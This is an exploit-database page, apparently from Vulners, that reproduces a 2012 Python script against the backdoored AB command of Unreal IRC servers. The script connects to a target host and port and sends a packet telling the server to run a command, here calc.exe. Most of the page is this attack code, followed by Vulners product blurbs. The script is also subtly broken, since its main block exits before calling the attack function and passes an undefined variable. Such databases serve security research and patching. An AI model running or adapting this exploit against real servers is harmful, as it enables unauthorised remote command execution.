Lucene search
K

AB-Unreal-Server

🗓️ 21 Jan 2012 00:00:00Reported by DouBle_Zer0Type 
exploitpack
 exploitpack
👁 9 Views

Injection code for AB Unreal Server, attacking specified host and port, sending a command to execute calc.exe

Code
import sys
import socket
import struct

def injectcode(host, port, command):

	host1 = host
	port1 = int(port)
	cmd   = "calc.exe"

	print "!#@#@! Ac1db1tch3z is just Unreal #@!#%%\n"
	print "- Attacking %s on port %d"%(host1,port1)
	print "- sending command: %s"%cmd

	packet = "AB" +";"+ cmd + ";"+"\n"

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((host1, port1))
        except socket.error:
            print "No connection..."
            return 0
        s.sendall(packet)
	blah = s.recv(5000)
	print blah
        s.close()

if __name__ == "__main__":
	if len(sys.argv) == 1:
		print "Usage:", sys.argv[0], "<target host> <target port>"
		print
		print
		sys.exit(1)
	else:
		while sys.argv[2] >= 1:
			sys.exit(0)
			injectcode(sys.argv[1],sys.argv[2],cmd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation